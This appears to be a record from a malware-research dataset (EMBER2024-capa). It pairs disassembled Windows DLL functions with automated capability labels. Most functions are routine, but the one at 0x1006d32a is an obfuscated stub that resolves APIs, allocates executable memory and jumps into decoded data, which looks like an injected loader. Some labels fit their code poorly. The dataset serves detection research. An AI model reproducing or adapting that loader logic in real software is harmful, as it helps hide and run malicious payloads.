joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10071f70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x100fbe80]
xor eax, esp
mov dword [esp + 0x34], eax
cmp dword [edx + 0x10], 0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esp + 0xc], eax
je 0x100720f1
cmp dword [edx + 0x14], 8
mov dword [esp + 0x34], 0
jb 0x10071faa
mov edx, dword [edx]
lea eax, [esp + 0x34]
push eax
push 0x20019
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x100720f1
cmp dword [esi + 0x14], 8
mov eax, esi
mov dword [esp + 0x38], 0
jb 0x10071fdc
mov eax, dword [esi]
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 0x38]
test eax, eax
setne byte [esp + 0xb]
test eax, eax
je 0x100720d2
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100925a0
add esp, 4
mov edi, eax
cmp dword [esi + 0x14], 8
jb 0x10072027
mov esi, dword [esi]
lea eax, [esp + 0x38]
push eax
push edi
push 0
push 0
push esi
push dword [esp + 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete byte [esp + 0xb]
test eax, eax
jne 0x100720c9
mov edx, edi
mov dword [esp + 0x20], eax
xorps xmm0, xmm0
mov dword [esp + 0x24], eax
movaps xmmword [esp + 0x10], xmm0
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10072060
sub edx, esi
lea ecx, [esp + 0x10]
sar edx, 1
push edx
push edi
call fcn.1000db40
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
call fcn.1000d830
mov ecx, dword [esp + 0x24]
cmp ecx, 8
jb 0x100720c0
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100720b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10072104
push ecx
push edx
call fcn.10092592
add esp, 8
cmp word [edi], 0
setne byte [esp + 0xb]
push edi
call fcn.10092762
add esp, 4
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0xb]
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.10092561
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x3c]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.10092561
mov esp, ebp
pop ebp
ret
call fcn.10097635
int3
Function at 0x10072110
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100fbe80]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edx + 0x10], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
je 0x100721bc
cmp dword [edx + 0x14], 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jb 0x10072148
mov edx, dword [edx]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x100721bc
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x1007217a
mov ecx, dword [esi]
cmp dword [edi + 0x14], 8
jb 0x10072182
mov edi, dword [edi]
mov eax, dword [esi + 0x10]
push ebx
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
test eax, eax
sete bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10092561
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.10092561
mov esp, ebp
pop ebp
ret
Function at 0x100744a0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x100fbe80]
xor eax, esp
mov dword [esp + 0x44], eax
push 0x40
lea eax, [esp + 4]
push 0
push eax
call fcn.10094470
add esp, 0xc
mov dword [esp], 0x40
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 8]
xor ecx, esp
mov edx, dword [esp + 0xc]
call fcn.10092561
mov esp, ebp
pop ebp
ret

Function at 0x100744f0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x100fbe80]
xor eax, esp
mov dword [esp + 0x44], eax
push 0x40
lea eax, [esp + 4]
push 0
push eax
call fcn.10094470
add esp, 0xc
mov dword [esp], 0x40
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x10]
xor ecx, esp
mov edx, dword [esp + 0x14]
call fcn.10092561
mov esp, ebp
pop ebp
ret
Function at 0x100776e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bf9e1
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x100fbe80]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x40], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov ecx, edx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x34], edi
call fcn.1002b180
xor esi, esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], esi
test ebx, ebx
je 0x100777e3
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x10077748
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x100777d9
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x100777d9
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100777d9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x38], eax
test eax, eax
je 0x100777d9
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x100777d9
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x100777d9
push edi
push dword [ebp - 0x38]
push ebx
call fcn.10093e90
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 0x30]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x100777e0
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x100777dc
mov dword [eax], edi
jmp 0x100777dc
mov esi, dword [ebp - 0x30]
test esi, esi
jne 0x100777e9
mov edi, dword [ebp - 0x34]
cmp byte [ebp + 0x10], 0
jne 0x10077841
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x10077823
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10077819
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100778ce
push ecx
push edx
call fcn.10092592
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10092561
mov esp, ebp
pop ebp
ret
push str.RESOURCE
lea ecx, [ebp - 0x58]
call fcn.1000dbe0
push dword [ebp - 0x40]
mov edx, str.Cant_find_resource__
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x94]
call fcn.1002afa0
add esp, 4
push str.__of_type__
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xac]
call fcn.1000c710
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc4]
call fcn.100158d0
add esp, 4
push 0x100e639c
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xdc]
call fcn.1000c710
add esp, 4
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 5
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.100551a0
push 0x100f80bc
lea eax, [ebp - 0x7c]
push eax
call fcn.10094404
call fcn.10097635
int3
Function at 0x1007a0c0
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bfdbe
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
push esi
push edi
mov eax, dword [0x100fbe80]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x20], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x3c], edi
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
xor ecx, ecx
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], cx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x18], 1
test eax, eax
je 0x1007a213
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
je 0x1007a213
lea esi, [eax + 1]
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
mov dword [ebp - 0x1c], ecx
call fcn.100925a0
push dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
push 0
push eax
call fcn.10094470
add esp, 0x10
push esi
mov esi, dword [ebp - 0x14]
push esi
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, esi
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x38], xmm0
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1007a1b0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x38]
call fcn.1000db40
lea eax, [ebp - 0x38]
mov ecx, edi
push eax
call fcn.1000d830
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x1007a20a
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1007a200
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007a229
push ecx
push edx
call fcn.10092592
add esp, 8
push esi
call fcn.10092762
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10097635
int3
Function at 0x1008a380
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100fbe80]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov ecx, dword [ebx + 8]
push edi
cmp dword [esi + 0x20], ecx
je 0x1008a4e4
lea eax, [ecx + ecx]
mov dword [esi + 0x20], ecx
movd xmm1, eax
mov eax, ecx
cdq
sub eax, edx
mov dword [esi], 0
cvtdq2pd xmm1, xmm1
mov edi, eax
xor eax, eax
sar edi, 1
movsd qword [ebp - 0x20], xmm1
test edi, edi
jle 0x1008a4ae
mov ecx, 1
mov dword [ebp - 8], ecx
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ebp - 0x10]
cvtdq2pd xmm0, xmm0
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
mulsd xmm0, qword [0x100e8758]
divsd xmm0, xmm1
addsd xmm0, qword [0x100e8738]
movsd qword [ebp - 0x10], xmm0
movsd xmm0, qword [0x100e8718]
movsd qword [ebp - 0x18], xmm0
call fcn.10089f90
mov eax, dword [esi]
add esp, 4
movsd xmm1, qword [ebp - 0x28]
movsd xmm0, qword [ebp - 0x30]
movaps xmm2, xmm1
xorps xmm2, xmmword [0x100e89c0]
mov ecx, dword [ebp - 8]
cdq
add ecx, 2
sub eax, edx
mov dword [ebp - 8], ecx
sar eax, 1
shl eax, 6
add eax, dword [esi + 8]
movsd qword [eax], xmm0
movsd qword [eax + 0x10], xmm0
movsd xmm0, qword [0x100e88a0]
movsd qword [eax + 8], xmm1
movsd xmm1, qword [ebp - 0x20]
movsd qword [eax + 0x18], xmm2
xorps xmm2, xmm2
movsd qword [eax + 0x20], xmm0
movsd qword [eax + 0x30], xmm0
movsd xmm0, qword [0x100e88b0]
movsd qword [eax + 0x28], xmm2
movsd qword [eax + 0x38], xmm0
mov eax, dword [esi]
add eax, 2
mov dword [esi], eax
sub edi, 1
jne 0x1008a3f0
mov ecx, dword [ebx + 8]
jmp 0x1008a4b1
xorps xmm2, xmm2
unpcklpd xmm2, xmm2
test cl, 1
je 0x1008a4e4
movaps xmm0, xmmword [0x100e8940]
movaps xmm1, xmmword [0x100e8930]
cdq
sub eax, edx
sar eax, 1
shl eax, 6
add eax, dword [esi + 8]
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm2
movups xmmword [eax + 0x20], xmm1
movups xmmword [eax + 0x30], xmm2
inc dword [esi]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10092561
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4

Function at 0x1008c3c0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1008c3d0
Function at 0x1008e850
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c1067
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x100fbe80]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.1008e2c0
mov dword [ebp - 4], 0
lea ecx, [esi + 0x1c]
mov dword [esi + 0x18], vtable.Steinberg::Vst::IComponent.0
mov dword [esi], vtable.Steinberg::Vst::Component.1.0
mov dword [esi + 8], vtable.Steinberg::Vst::Component.2.0
mov dword [esi + 0xc], vtable.Steinberg::Vst::Component.3.0
mov dword [esi + 0x18], vtable.Steinberg::Vst::Component.0
call fcn.1008d840
mov byte [ebp - 4], 1
lea ecx, [esi + 0x30]
push 0
push 0
call fcn.100907d0
mov byte [ebp - 4], 2
lea ecx, [esi + 0x4c]
push 1
push 0
call fcn.100907d0
mov byte [ebp - 4], 3
lea ecx, [esi + 0x68]
push 0
push 1
call fcn.100907d0
mov byte [ebp - 4], 4
lea ecx, [esi + 0x84]
push 1
push 1
call fcn.100907d0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100a9c20
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100a9a96

Function at 0x100af58f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100af20c

Function at 0x100b6af0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100b6b1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100b6b1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1002deab
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009e9af
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x100eed78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
and dword [ebp - 4], 0
push 0
mov dword [esi], vtable.FtpSession.0
call fcn.1006d32a
lea ecx, [esi + 0x64]
call fcn.1006d32a
lea ecx, [esi + 0x30]
call fcn.10002a67
mov ecx, esi
mov dword [esi], vtable.InetFtpAsyncObj.0
call fcn.1006d32a
test byte [ebp + 8], 1
je 0x1002df0b
push esi
call fcn.1006d32a
pop ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret 4
Function at 0x100303c8
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
xor edx, edx
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov dword [ebx], edx
test ecx, ecx
je 0x10030405
mov eax, dword [esi + 4]
cmp eax, 4
je 0x100303eb
cmp eax, 5
jne 0x10030405
cmp dword [esi + 0x98], edx
jne 0x10030419
sub eax, 4
je 0x1003040e
sub eax, 1
jne 0x10030405
mov eax, dword [esi + 0x78]
mov dword [ebx], eax
mov dword [esi + 0x78], edx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
mov dword [esi + 0x9c], eax
jmp 0x10030405
mov cl, byte [esi + 0x7c]
test cl, cl
je 0x10030405
cmp eax, 5
jne 0x10030405
lea edi, [esi + 0xa0]
cmp dword [edi], edx
jne 0x1003048d
push dword [esi + 0x64]
push str.call_InternetWriteFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push edx
call dword [eax + 0x24]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov byte [esi + 0x7c], al
test al, al
je 0x1003047a
push dword [esi + 0x64]
push str.InternetWriteFile_0x_08x__completed_synchronously_n
push 7
push 0xc
call fcn.1001ef2c
mov al, byte [esi + 0x7c]
add esp, 0x10
xor edx, edx
mov cl, al
test al, al
je 0x1003048d
cmp dword [edi], edx
jne 0x1003048d
mov ecx, dword [ebp + 0xc]
mov dword [edi], ecx
mov cl, al
test cl, cl
je 0x100304ac
mov eax, dword [edi]
mov dword [ebx], eax
mov eax, dword [edi]
sub dword [esi + 0x78], eax
mov dword [edi], edx
je 0x100304ac
mov ecx, dword [esi + 0x48]
push edx
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030405
movsx eax, byte [esi + 0x7c]
push ecx
push edx
push eax
lea ecx, [esi + 0x34]
call fcn.1006d32a
jmp 0x10030407
Function at 0x100304c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov edx, dword [ebp + 8]
lea edi, [esi + 0x60]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [edi]
mov dword [eax], ecx
cmp dword [esi + 4], 8
je 0x100304eb
cmp dword [esi + 4], 7
jne 0x10030509
xor ebx, ebx
test ecx, ecx
je 0x10030510
mov ecx, dword [esi + 0x48]
mov dword [esi + 0xa4], ebx
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
xor eax, eax
jmp 0x100305be
cmp dword [esi + 0xa4], ebx
jne 0x10030509
push dword [esi + 0x64]
push str.call_InternetReadFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x24]
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
push edi
push 0x1000
push eax
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [esi + 0x64]
test eax, eax
je 0x10030599
push dword [edi]
push str.received__d_bytes_from_0x_08x_n
push 7
push 0xc
call fcn.1001ef2c
mov ecx, dword [edi]
add esp, 0x14
test ecx, ecx
jne 0x10030574
mov dword [esi + 4], 9
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [esi + 0x48]
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
push ebx
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030509
push str.InternetReadFile_on_0x_08x_returned_FALSE_n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0xc
mov dword [esi + 0xa4], 1
lea ecx, [esi + 0x34]
push ebx
push ebx
call fcn.1006d32a
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1006cfa0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x124
mov eax, dword [0x100eed78]
xor eax, esp
mov dword [esp + 0x120], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], ebx
mov eax, dword [edi + 4]
or eax, 0x2001f
mov dword [esp + 0x10], ebx
push eax
push ecx
push dword [edi]
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebx
call fcn.1006d32a
mov esi, eax
test esi, esi
je 0x1006d006
cmp dword [esp + 0xc], ebx
je 0x1006cfff
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1006d095
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1006d04a
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.1006d32a
mov esi, eax
test esi, esi
jne 0x1006d0ac
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x28]
mov dword [esp + 0x38], 0x100
call ebx
test eax, eax
je 0x1006d021
cmp dword [esp + 0xc], 0
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x1006d074
push dword [esp + 0xc]
call esi
and dword [esp + 0xc], 0
push dword [esp + 0x1c]
and dword [esp + 0x14], 0
mov ecx, edi
call fcn.1006d32a
cmp dword [esp + 0xc], 0
mov edi, eax
je 0x1006d093
push dword [esp + 0xc]
call esi
mov eax, edi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100012b5
mov esp, ebp
pop ebp
ret 4
cmp dword [esp + 0xc], 0
jmp 0x1006cff3
Function at 0x1006d32a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1006d339
pop dword [ebp - 0x1c]
mov eax, 0x1006d339
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xf681fb35
add dword [ebp - 0x2c], 0x57d04a16
mov dword [ebp - 0x28], 0xd1fb00ad
sub dword [ebp - 0x28], 0x9fc7b468
mov dword [ebp - 0x24], 0xdcb69595
add dword [ebp - 0x24], 0x6f95ae99
mov dword [ebp - 0x20], 0x36a25325
sub dword [ebp - 0x20], 0x36a25325
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xbd72365c
sub eax, 0xad674604
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf2d44961
add dword [ebp - 0x2c], 0x819e1ff5
mov dword [ebp - 0x28], 0xb1529894
sub dword [ebp - 0x28], 0x6fe6371f
mov dword [ebp - 0x24], 0x2d670dce
sub dword [ebp - 0x24], 0xc9f7a162
mov dword [ebp - 0x20], 0xfcfdaaeb
add dword [ebp - 0x20], 0x3025515
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x4ab35
push 0
call eax
mov ecx, 0xb3f349c5
sub ecx, 0xb3f2ff47
mov esi, eax
mov edi, 0x10127e00
add edi, dword [ebp - 0x1c]
mov edx, 0xb77f46
add edx, 0xa712b7f0
mov dword [ebp - 0x14], 0xf42542f4
mov ebx, dword [edi]
add dword [ebp - 8], 0x56278d89
add ebx, edx
sub dword [ebp - 0x10], esi
mov dword [esi], ebx
xor dword [ebp - 0xc], 0x3f74b89f
add esi, 0x96bee11d
add esi, 0x69411ee7
add edi, 4
loop 0x1006d44b
add eax, 0xdd1c22f2
sub eax, 0xdd1b0627
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2e41fbba
sub ecx, 0x1e41fbba
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1006dab8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100a91de
call fcn.1009cc92
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1006dcca
mov edx, edi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x1006db0a
sub edx, ecx
sar edx, 1
inc edx
push ecx
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], edx
call fcn.1006c7b5
test eax, eax
js 0x1006dcca
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1006db5b
mov ecx, esi
call fcn.1006c818
test al, al
je 0x1006db5b
mov eax, esi
call fcn.1009cd15
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1006db67
push esi
lea ecx, [ebp - 0x428]
call fcn.1006d32a
push 3
push esi
mov edx, edi
mov ecx, eax
call fcn.1006d32a
mov edi, eax
test edi, edi
je 0x1006dcc4
push 0x60
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], esi
test esi, esi
jne 0x1006dbb5
push 2
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], eax
test esi, esi
jne 0x1006dbb5
call fcn.1006c19a
mov edi, eax
jmp 0x1006dca9
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x1006dbd8
call fcn.1006c19a
jmp 0x1006dc9c
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1006dbce
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x424], edi
lea ecx, [edi + 1]
cmp ecx, edi
jae 0x1006dc0b
mov edi, 0x8007000e
jmp 0x1006dc9e
mov byte [ebp - 4], 2
call fcn.1006c8c7
cmp eax, 0x400
jbe 0x1006dc29
push eax
lea ecx, [ebp - 0x418]
call fcn.1006d32a
jmp 0x1006dc35
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x1006dc59
cmp dword [ebp - 0x418], 0
je 0x1006dc01
mov ecx, dword [ebp - 0x418]
mov edx, edi
push edi
push dword [ebp - 0x420]
call fcn.1006d32a
pop ecx
pop ecx
mov ecx, eax
call fcn.1006cdee
mov eax, dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
push dword [ebp + 0x14]
mov byte [eax + edi], bl
push dword [ebp - 0x418]
call fcn.1006d32a
mov edi, eax
test esi, esi
je 0x1006dca9
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1006dce4
lea ecx, [ebp - 0x418]
call fcn.1006c188
jmp 0x1006dce4
